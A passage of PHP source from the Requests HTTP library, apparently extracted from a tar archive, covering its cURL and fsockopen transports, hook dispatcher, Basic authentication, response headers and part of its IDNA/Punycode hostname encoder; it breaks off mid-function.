	 * @return resource Subrequest's cURL handle
	 */
	public function &get_subrequest_handle($url, $headers, $data, $options) {
		$this->setup_handle($url, $headers, $data, $options);

		if ($options['filename'] !== false) {
			$this->stream_handle = fopen($options['filename'], 'wb');
		}

		$this->response_data = '';
		$this->response_bytes = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}
		$this->hooks = $options['hooks'];

		return $this->handle;
	}

	/**
	 * Setup the cURL handle for the given data
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see Requests::response()} for documentation
	 */
	protected function setup_handle($url, $headers, $data, $options) {
		$options['hooks']->dispatch('curl.before_request', array(&$this->handle));

		// Force closing the connection for old versions of cURL (<7.22).
		if ( ! isset( $headers['Connection'] ) ) {
			$headers['Connection'] = 'close';
		}

		$headers = Requests::flatten($headers);

		if (!empty($data)) {
			$data_format = $options['data_format'];

			if ($data_format === 'query') {
				$url = self::format_get($url, $data);
				$data = '';
			}
			elseif (!is_string($data)) {
				$data = http_build_query($data, null, '&');
			}
		}

		switch ($options['type']) {
			case Requests::POST:
				curl_setopt($this->handle, CURLOPT_POST, true);
				curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				break;
			case Requests::HEAD:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				curl_setopt($this->handle, CURLOPT_NOBODY, true);
				break;
			case Requests::TRACE:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				break;
			case Requests::PATCH:
			case Requests::PUT:
			case Requests::DELETE:
			case Requests::OPTIONS:
			default:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				if (!empty($data)) {
					curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				}
		}

		// cURL requires a minimum timeout of 1 second when using the system
		// DNS resolver, as it uses `alarm()`, which is second resolution only.
		// There's no way to detect which DNS resolver is being used from our
		// end, so we need to round up regardless of the supplied timeout.
		//
		// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
		$timeout = max($options['timeout'], 1);

		if (is_int($timeout) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout));
		}
		else {
			curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000));
		}

		if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout']));
		}
		else {
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000));
		}
		curl_setopt($this->handle, CURLOPT_URL, $url);
		curl_setopt($this->handle, CURLOPT_REFERER, $url);
		curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']);
		if (!empty($headers)) {
			curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers);
		}
		if ($options['protocol_version'] === 1.1) {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
		}
		else {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
		}

		if (true === $options['blocking']) {
			curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, array(&$this, 'stream_headers'));
			curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, array(&$this, 'stream_body'));
			curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE);
		}
	}

	/**
	 * Process a response
	 *
	 * @param string $response Response data from the body
	 * @param array $options Request options
	 * @return string HTTP response data including headers
	 */
	public function process_response($response, $options) {
		if ($options['blocking'] === false) {
			$fake_headers = '';
			$options['hooks']->dispatch('curl.after_request', array(&$fake_headers));
			return false;
		}
		if ($options['filename'] !== false) {
			fclose($this->stream_handle);
			$this->headers = trim($this->headers);
		}
		else {
			$this->headers .= $response;
		}

		if (curl_errno($this->handle)) {
			$error = sprintf(
				'cURL error %s: %s',
				curl_errno($this->handle),
				curl_error($this->handle)
			);
			throw new Requests_Exception($error, 'curlerror', $this->handle);
		}
		$this->info = curl_getinfo($this->handle);

		$options['hooks']->dispatch('curl.after_request', array(&$this->headers, &$this->info));
		return $this->headers;
	}

	/**
	 * Collect the headers as they are received
	 *
	 * @param resource $handle cURL resource
	 * @param string $headers Header string
	 * @return integer Length of provided header
	 */
	public function stream_headers($handle, $headers) {
		// Why do we do this? cURL will send both the final response and any
		// interim responses, such as a 100 Continue. We don't need that.
		// (We may want to keep this somewhere just in case)
		if ($this->done_headers) {
			$this->headers = '';
			$this->done_headers = false;
		}
		$this->headers .= $headers;

		if ($headers === "\r\n") {
			$this->done_headers = true;
		}
		return strlen($headers);
	}

	/**
	 * Collect data as it's received
	 *
	 * @since 1.6.1
	 *
	 * @param resource $handle cURL resource
	 * @param string $data Body data
	 * @return integer Length of provided data
	 */
	public function stream_body($handle, $data) {
		$this->hooks->dispatch('request.progress', array($data, $this->response_bytes, $this->response_byte_limit));
		$data_length = strlen($data);

		// Are we limiting the response size?
		if ($this->response_byte_limit) {
			if ($this->response_bytes === $this->response_byte_limit) {
				// Already at maximum, move on
				return $data_length;
			}

			if (($this->response_bytes + $data_length) > $this->response_byte_limit) {
				// Limit the length
				$limited_length = ($this->response_byte_limit - $this->response_bytes);
				$data = substr($data, 0, $limited_length);
			}
		}

		if ($this->stream_handle) {
			fwrite($this->stream_handle, $data);
		}
		else {
			$this->response_data .= $data;
		}

		$this->response_bytes += strlen($data);
		return $data_length;
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param string $url
	 * @param array|object $data Data to build query using, see {@see https://secure.php.net/http_build_query}
	 * @return string URL with data
	 */
	protected static function format_get($url, $data) {
		if (!empty($data)) {
			$url_parts = parse_url($url);
			if (empty($url_parts['query'])) {
				$query = $url_parts['query'] = '';
			}
			else {
				$query = $url_parts['query'];
			}

			$query .= '&' . http_build_query($data, null, '&');
			$query = trim($query, '&');

			if (empty($url_parts['query'])) {
				$url .= '?' . $query;
			}
			else {
				$url = str_replace($url_parts['query'], $query, $url);
			}
		}
		return $url;
	}

	/**
	 * Whether this transport is valid
	 *
	 * @codeCoverageIgnore
	 * @return boolean True if the transport is valid, false otherwise.
	 */
	public static function test($capabilities = array()) {
		if (!function_exists('curl_init') || !function_exists('curl_exec')) {
			return false;
		}

		// If needed, check that our installed curl version supports SSL
		if (isset($capabilities['ssl']) && $capabilities['ssl']) {
			$curl_version = curl_version();
			if (!(CURL_VERSION_SSL & $curl_version['features'])) {
				return false;
			}
		}

		return true;
	}
}
Transport/fsockopen.php000066600000030224151114300000011226 0ustar00<?php
/**
 * fsockopen HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */

/**
 * fsockopen HTTP transport
 *
 * @package Requests
 * @subpackage Transport
 */
class Requests_Transport_fsockopen implements Requests_Transport {
	/**
	 * Second to microsecond conversion
	 *
	 * @var integer
	 */
	const SECOND_IN_MICROSECONDS = 1000000;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Stream metadata
	 *
	 * @var array Associative array of properties, see {@see https://secure.php.net/stream_get_meta_data}
	 */
	public $info;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	protected $max_bytes = false;

	protected $connect_error = '';

	/**
	 * Perform a request
	 *
	 * @throws Requests_Exception On failure to connect to socket (`fsockopenerror`)
	 * @throws Requests_Exception On socket timeout (`timeout`)
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see Requests::response()} for documentation
	 * @return string Raw HTTP result
	 */
	public function request($url, $headers = array(), $data = array(), $options = array()) {
		$options['hooks']->dispatch('fsockopen.before_request');

		$url_parts = parse_url($url);
		if (empty($url_parts)) {
			throw new Requests_Exception('Invalid URL.', 'invalidurl', $url);
		}
		$host = $url_parts['host'];
		$context = stream_context_create();
		$verifyname = false;
		$case_insensitive_headers = new Requests_Utility_CaseInsensitiveDictionary($headers);

		// HTTPS support
		if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
			$remote_socket = 'ssl://' . $host;
			if (!isset($url_parts['port'])) {
				$url_parts['port'] = 443;
			}

			$context_options = array(
				'verify_peer' => true,
				// 'CN_match' => $host,
				'capture_peer_cert' => true
			);
			$verifyname = true;

			// SNI, if enabled (OpenSSL >=0.9.8j)
			if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
				$context_options['SNI_enabled'] = true;
				if (isset($options['verifyname']) && $options['verifyname'] === false) {
					$context_options['SNI_enabled'] = false;
				}
			}

			if (isset($options['verify'])) {
				if ($options['verify'] === false) {
					$context_options['verify_peer'] = false;
				}
				elseif (is_string($options['verify'])) {
					$context_options['cafile'] = $options['verify'];
				}
			}

			if (isset($options['verifyname']) && $options['verifyname'] === false) {
				$context_options['verify_peer_name'] = false;
				$verifyname = false;
			}

			stream_context_set_option($context, array('ssl' => $context_options));
		}
		else {
			$remote_socket = 'tcp://' . $host;
		}

		$this->max_bytes = $options['max_bytes'];

		if (!isset($url_parts['port'])) {
			$url_parts['port'] = 80;
		}
		$remote_socket .= ':' . $url_parts['port'];

		set_error_handler(array($this, 'connect_error_handler'), E_WARNING | E_NOTICE);

		$options['hooks']->dispatch('fsockopen.remote_socket', array(&$remote_socket));

		$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);

		restore_error_handler();

		if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
			throw new Requests_Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
		}

		if (!$socket) {
			if ($errno === 0) {
				// Connection issue
				throw new Requests_Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
			}

			throw new Requests_Exception($errstr, 'fsockopenerror', null, $errno);
		}

		$data_format = $options['data_format'];

		if ($data_format === 'query') {
			$path = self::format_get($url_parts, $data);
			$data = '';
		}
		else {
			$path = self::format_get($url_parts, array());
		}

		$options['hooks']->dispatch('fsockopen.remote_host_path', array(&$path, $url));

		$request_body = '';
		$out = sprintf("%s %s HTTP/%.1f\r\n", $options['type'], $path, $options['protocol_version']);

		if ($options['type'] !== Requests::TRACE) {
			if (is_array($data)) {
				$request_body = http_build_query($data, null, '&');
			}
			else {
				$request_body = $data;
			}

			if (!empty($data)) {
				if (!isset($case_insensitive_headers['Content-Length'])) {
					$headers['Content-Length'] = strlen($request_body);
				}

				if (!isset($case_insensitive_headers['Content-Type'])) {
					$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
				}
			}
		}

		if (!isset($case_insensitive_headers['Host'])) {
			$out .= sprintf('Host: %s', $url_parts['host']);

			if (( 'http' === strtolower($url_parts['scheme']) && $url_parts['port'] !== 80 ) || ( 'https' === strtolower($url_parts['scheme']) && $url_parts['port'] !== 443 )) {
				$out .= ':' . $url_parts['port'];
			}
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['User-Agent'])) {
			$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
		}

		$accept_encoding = $this->accept_encoding();
		if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
			$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
		}

		$headers = Requests::flatten($headers);

		if (!empty($headers)) {
			$out .= implode($headers, "\r\n") . "\r\n";
		}

		$options['hooks']->dispatch('fsockopen.after_headers', array(&$out));

		if (substr($out, -2) !== "\r\n") {
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['Connection'])) {
			$out .= "Connection: Close\r\n";
		}

		$out .= "\r\n" . $request_body;

		$options['hooks']->dispatch('fsockopen.before_send', array(&$out));

		fwrite($socket, $out);
		$options['hooks']->dispatch('fsockopen.after_send', array($out));

		if (!$options['blocking']) {
			fclose($socket);
			$fake_headers = '';
			$options['hooks']->dispatch('fsockopen.after_request', array(&$fake_headers));
			return '';
		}

		$timeout_sec = (int) floor($options['timeout']);
		if ($timeout_sec == $options['timeout']) {
			$timeout_msec = 0;
		}
		else {
			$timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS;
		}
		stream_set_timeout($socket, $timeout_sec, $timeout_msec);

		$response = $body = $headers = '';
		$this->info = stream_get_meta_data($socket);
		$size = 0;
		$doingbody = false;
		$download = false;
		if ($options['filename']) {
			$download = fopen($options['filename'], 'wb');
		}

		while (!feof($socket)) {
			$this->info = stream_get_meta_data($socket);
			if ($this->info['timed_out']) {
				throw new Requests_Exception('fsocket timed out', 'timeout');
			}

			$block = fread($socket, Requests::BUFFER_SIZE);
			if (!$doingbody) {
				$response .= $block;
				if (strpos($response, "\r\n\r\n")) {
					list($headers, $block) = explode("\r\n\r\n", $response, 2);
					$doingbody = true;
				}
			}

			// Are we in body mode now?
			if ($doingbody) {
				$options['hooks']->dispatch('request.progress', array($block, $size, $this->max_bytes));
				$data_length = strlen($block);
				if ($this->max_bytes) {
					// Have we already hit a limit?
					if ($size === $this->max_bytes) {
						continue;
					}
					if (($size + $data_length) > $this->max_bytes) {
						// Limit the length
						$limited_length = ($this->max_bytes - $size);
						$block = substr($block, 0, $limited_length);
					}
				}

				$size += strlen($block);
				if ($download) {
					fwrite($download, $block);
				}
				else {
					$body .= $block;
				}
			}
		}
		$this->headers = $headers;

		if ($download) {
			fclose($download);
		}
		else {
			$this->headers .= "\r\n\r\n" . $body;
		}
		fclose($socket);

		$options['hooks']->dispatch('fsockopen.after_request', array(&$this->headers, &$this->info));
		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see Requests_Transport::request}
	 * @param array $options Global options, see {@see Requests::response()} for documentation
	 * @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well)
	 */
	public function request_multiple($requests, $options) {
		$responses = array();
		$class = get_class($this);
		foreach ($requests as $id => $request) {
			try {
				$handler = new $class();
				$responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']);

				$request['options']['hooks']->dispatch('transport.internal.parse_response', array(&$responses[$id], $request));
			}
			catch (Requests_Exception $e) {
				$responses[$id] = $e;
			}

			if (!is_string($responses[$id])) {
				$request['options']['hooks']->dispatch('multiple.request.complete', array(&$responses[$id], $id));
			}
		}

		return $responses;
	}

	/**
	 * Retrieve the encodings we can accept
	 *
	 * @return string Accept-Encoding header value
	 */
	protected static function accept_encoding() {
		$type = array();
		if (function_exists('gzinflate')) {
			$type[] = 'deflate;q=1.0';
		}

		if (function_exists('gzuncompress')) {
			$type[] = 'compress;q=0.5';
		}

		$type[] = 'gzip;q=0.5';

		return implode(', ', $type);
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param array $url_parts
	 * @param array|object $data Data to build query using, see {@see https://secure.php.net/http_build_query}
	 * @return string URL with data
	 */
	protected static function format_get($url_parts, $data) {
		if (!empty($data)) {
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			}

			$url_parts['query'] .= '&' . http_build_query($data, null, '&');
			$url_parts['query'] = trim($url_parts['query'], '&');
		}
		if (isset($url_parts['path'])) {
			if (isset($url_parts['query'])) {
				$get = $url_parts['path'] . '?' . $url_parts['query'];
			}
			else {
				$get = $url_parts['path'];
			}
		}
		else {
			$get = '/';
		}
		return $get;
	}

	/**
	 * Error handler for stream_socket_client()
	 *
	 * @param int $errno Error number (e.g. E_WARNING)
	 * @param string $errstr Error message
	 */
	public function connect_error_handler($errno, $errstr) {
		// Double-check we can handle it
		if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) {
			// Return false to indicate the default error handler should engage
			return false;
		}

		$this->connect_error .= $errstr . "\n";
		return true;
	}

	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 * Instead
	 *
	 * @see https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @throws Requests_Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`)
	 * @throws Requests_Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
	 * @param string $host Host name to verify against
	 * @param resource $context Stream context
	 * @return bool
	 */
	public function verify_certificate_from_context($host, $context) {
		$meta = stream_context_get_options($context);

		// If we don't have SSL options, then we couldn't make the connection at
		// all
		if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) {
			throw new Requests_Exception(rtrim($this->connect_error), 'ssl.connect_error');
		}

		$cert = openssl_x509_parse($meta['ssl']['peer_certificate']);

		return Requests_SSL::verify_certificate($host, $cert);
	}

	/**
	 * Whether this transport is valid
	 *
	 * @codeCoverageIgnore
	 * @return boolean True if the transport is valid, false otherwise.
	 */
	public static function test($capabilities = array()) {
		if (!function_exists('fsockopen')) {
			return false;
		}

		// If needed, check that streams support SSL
		if (isset($capabilities['ssl']) && $capabilities['ssl']) {
			if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) {
				return false;
			}

			// Currently broken, thanks to https://github.com/facebook/hhvm/issues/2156
			if (defined('HHVM_VERSION')) {
				return false;
			}
		}

		return true;
	}
}
Hooks.php000066600000002746151114300000006336 0ustar00<?php
/**
 * Handles adding and dispatching events
 *
 * @package Requests
 * @subpackage Utilities
 */

/**
 * Handles adding and dispatching events
 *
 * @package Requests
 * @subpackage Utilities
 */
class Requests_Hooks implements Requests_Hooker {
	/**
	 * Registered callbacks for each hook
	 *
	 * @var array
	 */
	protected $hooks = array();

	/**
	 * Constructor
	 */
	public function __construct() {
		// pass
	}

	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callback $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 */
	public function register($hook, $callback, $priority = 0) {
		if (!isset($this->hooks[$hook])) {
			$this->hooks[$hook] = array();
		}
		if (!isset($this->hooks[$hook][$priority])) {
			$this->hooks[$hook][$priority] = array();
		}

		$this->hooks[$hook][$priority][] = $callback;
	}

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 */
	public function dispatch($hook, $parameters = array()) {
		if (empty($this->hooks[$hook])) {
			return false;
		}

		foreach ($this->hooks[$hook] as $priority => $hooked) {
			foreach ($hooked as $callback) {
				call_user_func_array($callback, $parameters);
			}
		}

		return true;
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
Auth.php000066600000001452151114300000006145 0ustar00<?php
/**
 * Authentication provider interface
 *
 * @package Requests
 * @subpackage Authentication
 */

/**
 * Authentication provider interface
 *
 * Implement this interface to act as an authentication provider.
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see Requests_Hooks
 * @package Requests
 * @subpackage Authentication
 */
interface Requests_Auth {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see Requests::request} when the user has set
	 * an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see Requests_Hooks::register
	 * @param Requests_Hooks $hooks Hook system
	 */
	public function register(Requests_Hooks &$hooks);
}Response/Headers.php000066600000004115151114300000010414 0ustar00<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */
class Requests_Response_Headers extends Requests_Utility_CaseInsensitiveDictionary {
	/**
	 * Get the given header
	 *
	 * Unlike {@see self::getValues()}, this returns a string. If there are
	 * multiple values, it concatenates them with a comma as per RFC2616.
	 *
	 * Avoid using this where commas may be used unquoted in values, such as
	 * Set-Cookie headers.
	 *
	 * @param string $key
	 * @return string Header value
	 */
	public function offsetGet($key) {
		$key = strtolower($key);
		if (!isset($this->data[$key])) {
			return null;
		}

		return $this->flatten($this->data[$key]);
	}

	/**
	 * Set the given item
	 *
	 * @throws Requests_Exception On attempting to use dictionary as list (`invalidset`)
	 *
	 * @param string $key Item name
	 * @param string $value Item value
	 */
	public function offsetSet($key, $value) {
		if ($key === null) {
			throw new Requests_Exception('Object is a dictionary, not a list', 'invalidset');
		}

		$key = strtolower($key);

		if (!isset($this->data[$key])) {
			$this->data[$key] = array();
		}

		$this->data[$key][] = $value;
	}

	/**
	 * Get all values for a given header
	 *
	 * @param string $key
	 * @return array Header values
	 */
	public function getValues($key) {
		$key = strtolower($key);
		if (!isset($this->data[$key])) {
			return null;
		}

		return $this->data[$key];
	}

	/**
	 * Flattens a value into a string
	 *
	 * Converts an array into a string by imploding values with a comma, as per
	 * RFC2616's rules for folding headers.
	 *
	 * @param string|array $value Value to flatten
	 * @return string Flattened value
	 */
	public function flatten($value) {
		if (is_array($value)) {
			$value = implode(',', $value);
		}

		return $value;
	}

	/**
	 * Get an iterator for the data
	 *
	 * Converts the internal
	 * @return ArrayIterator
	 */
	public function getIterator() {
		return new Requests_Utility_FilteredIterator($this->data, array($this, 'flatten'));
	}
}
Auth/Basic.php000066600000003625151114300000007172 0ustar00<?php
/**
 * Basic Authentication provider
 *
 * @package Requests
 * @subpackage Authentication
 */

/**
 * Basic Authentication provider
 *
 * Provides a handler for Basic HTTP authentication via the Authorization
 * header.
 *
 * @package Requests
 * @subpackage Authentication
 */
class Requests_Auth_Basic implements Requests_Auth {
	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Constructor
	 *
	 * @throws Requests_Exception On incorrect number of arguments (`authbasicbadargs`)
	 * @param array|null $args Array of user and password. Must have exactly two elements
	 */
	public function __construct($args = null) {
		if (is_array($args)) {
			if (count($args) !== 2) {
				throw new Requests_Exception('Invalid number of arguments', 'authbasicbadargs');
			}

			list($this->user, $this->pass) = $args;
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @see curl_before_send
	 * @see fsockopen_header
	 * @param Requests_Hooks $hooks Hook system
	 */
	public function register(Requests_Hooks &$hooks) {
		$hooks->register('curl.before_send', array(&$this, 'curl_before_send'));
		$hooks->register('fsockopen.after_headers', array(&$this, 'fsockopen_header'));
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @param resource $handle cURL resource
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
		curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @return string
	 */
	public function getAuthString() {
		return $this->user . ':' . $this->pass;
	}
}IDNAEncoder.php000066600000026075151114300000007267 0ustar00<?php

/**
 * IDNA URL encoder
 *
 * Note: Not fully compliant, as nameprep does nothing yet.
 *
 * @package Requests
 * @subpackage Utilities
 * @see https://tools.ietf.org/html/rfc3490 IDNA specification
 * @see https://tools.ietf.org/html/rfc3492 Punycode/Bootstrap specification
 */
class Requests_IDNAEncoder {
	/**
	 * ACE prefix used for IDNA
	 *
	 * @see https://tools.ietf.org/html/rfc3490#section-5
	 * @var string
	 */
	const ACE_PREFIX = 'xn--';

	/**#@+
	 * Bootstrap constant for Punycode
	 *
	 * @see https://tools.ietf.org/html/rfc3492#section-5
	 * @var int
	 */
	const BOOTSTRAP_BASE         = 36;
	const BOOTSTRAP_TMIN         = 1;
	const BOOTSTRAP_TMAX         = 26;
	const BOOTSTRAP_SKEW         = 38;
	const BOOTSTRAP_DAMP         = 700;
	const BOOTSTRAP_INITIAL_BIAS = 72;
	const BOOTSTRAP_INITIAL_N    = 128;
	/**#@-*/

	/**
	 * Encode a hostname using Punycode
	 *
	 * @param string $string Hostname
	 * @return string Punycode-encoded hostname
	 */
	public static function encode($string) {
		$parts = explode('.', $string);
		foreach ($parts as &$part) {
			$part = self::to_ascii($part);
		}
		return implode('.', $parts);
	}

	/**
	 * Convert a UTF-8 string to an ASCII string using Punycode
	 *
	 * @throws Requests_Exception Provided string longer than 64 ASCII characters (`idna.provided_too_long`)
	 * @throws Requests_Exception Prepared string longer than 64 ASCII characters (`idna.prepared_too_long`)
	 * @throws Requests_Exception Provided string already begins with xn-- (`idna.provided_is_prefixed`)
	 * @throws Requests_Exception Encoded string longer than 64 ASCII characters (`idna.encoded_too_long`)
	 *
	 * @param string $string ASCII or UTF-8 string (max length 64 characters)
	 * @return string ASCII string
	 */
	public static function to_ascii($string) {
		// Step 1: Check if the string is already ASCII
		if (self::is_ascii($string)) {
			// Skip to step 7
			if (strlen($string) < 64) {
				return $string;
			}

			throw new Requests_Exception('Provided string is too long', 'idna.provided_too_long', $string);
		}

		// Step 2: nameprep
		$string = self::nameprep($string);

		// Step 3: UseSTD3ASCIIRules is false, continue
		// Step 4: Check if it's ASCII now
		if (self::is_ascii($string)) {
			// Skip to step 7
			if (strlen($string) < 64) {
				return $string;
			}

			throw new Requests_Exception('Prepared string is too long', 'idna.prepared_too_long', $string);
		}

		// Step 5: Check ACE prefix
		if (strpos($string, self::ACE_PREFIX) === 0) {
			throw new Requests_Exception('Provided string begins with ACE prefix', 'idna.provided_is_prefixed', $string);
		}

		// Step 6: Encode with Punycode
		$string = self::punycode_encode($string);

		// Step 7: Prepend ACE prefix
		$string = self::ACE_PREFIX . $string;

		// Step 8: Check size
		if (strlen($string) < 64) {
			return $string;
		}

		throw new Requests_Exception('Encoded string is too long', 'idna.encoded_too_long', $string);
	}

	/**
	 * Check whether a given string contains only ASCII characters
	 *
	 * @internal (Testing found regex was the fastest implementation)
	 *
	 * @param string $string
	 * @return bool Is the string ASCII-only?
	 */
	protected static function is_ascii($string) {
		return (preg_match('/(?:[^\x00-\x7F])/', $string) !== 1);
	}

	/**
	 * Prepare a string for use as an IDNA name
	 *
	 * @todo Implement this based on RFC 3491 and the newer 5891
	 * @param string $string
	 * @return string Prepared string
	 */
	protected static function nameprep($string) {
		return $string;
	}

	/**
	 * Convert a UTF-8 string to a UCS-4 codepoint array
	 *
	 * Based on Requests_IRI::replace_invalid_with_pct_encoding()
	 *
	 * @throws Requests_Exception Invalid UTF-8 codepoint (`idna.invalidcodepoint`)
	 * @param string $input
	 * @return array Unicode code points
	 */
	protected static function utf8_to_codepoints($input) {
		$codepoints = array();

		// Get number of bytes
		$strlen = strlen($input);

		for ($position = 0; $position < $strlen; $position++) {
			$value = ord($input[$position]);

			// One byte sequence:
			if ((~$value & 0x80) === 0x80) {
				$character = $value;
				$length = 1;
				$remaining = 0;
			}
			// Two byte sequence:
			elseif (($value & 0xE0) === 0xC0) {
				$character = ($value & 0x1F) << 6;
				$length = 2;
				$remaining = 1;
			}
			// Three byte sequence:
			elseif (($value & 0xF0) === 0xE0) {
				$character = ($value & 0x0F) << 12;
				$length = 3;
				$remaining = 2;
			}
			// Four byte sequence:
			elseif (($value & 0xF8) === 0xF0) {
				$character = ($value & 0x07) << 18;
				$length = 4;
				$remaining = 3;
			}
			// Invalid byte:
			else {
				throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $value);
			}

			if ($remaining > 0) {
				if ($position + $length > $strlen) {
					throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
				}
				for ($position++; $remaining > 0; $position++) {
					$value = ord($input[$position]);

					// If it is invalid, count the sequence as invalid and reprocess the current byte:
					if (($value & 0xC0) !== 0x80) {
						throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
					}

					$character |= ($value & 0x3F) << (--$remaining * 6);
				}
				$position--;
			}

			if (
				// Non-shortest form sequences are invalid
				   $length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					   $character > 0xD7FF && $character < 0xF900
					|| $character < 0x20
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xEFFFD
				)
			) {
				throw new Requests_Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
			}

			$codepoints[] = $character;
		}

		return $codepoints;
	}

	/**
	 * RFC3492-compliant encoder
	 *
	 * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code
	 * @throws Requests_Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`)
	 *
	 * @param string $input UTF-8 encoded string to encode
	 * @return string Punycode-encoded string
	 */
	public static function punycode_encode($input) {
		$output = '';
#		let n = initial_n
		$n = self::BOOTSTRAP_INITIAL_N;
#		let delta = 0
		$delta = 0;
#		let bias = initial_bias
		$bias = self::BOOTSTRAP_INITIAL_BIAS;
#		let h = b = the number of basic code points in the input
		$h = $b = 0; // see loop
#		copy them to the output in order
		$codepoints = self::utf8_to_codepoints($input);
		$extended = array();

		foreach ($codepoints as $char) {
			if ($char < 128) {
				// Character is valid ASCII
				// TODO: this should also check if it's valid for a URL
				$output .= chr($char);
				$h++;
			}
			// Check if the character is non-ASCII, but below initial n
			// This never occurs for Punycode, so ignore in coverage
			// @codeCoverageIgnoreStart
			elseif ($char < $n) {
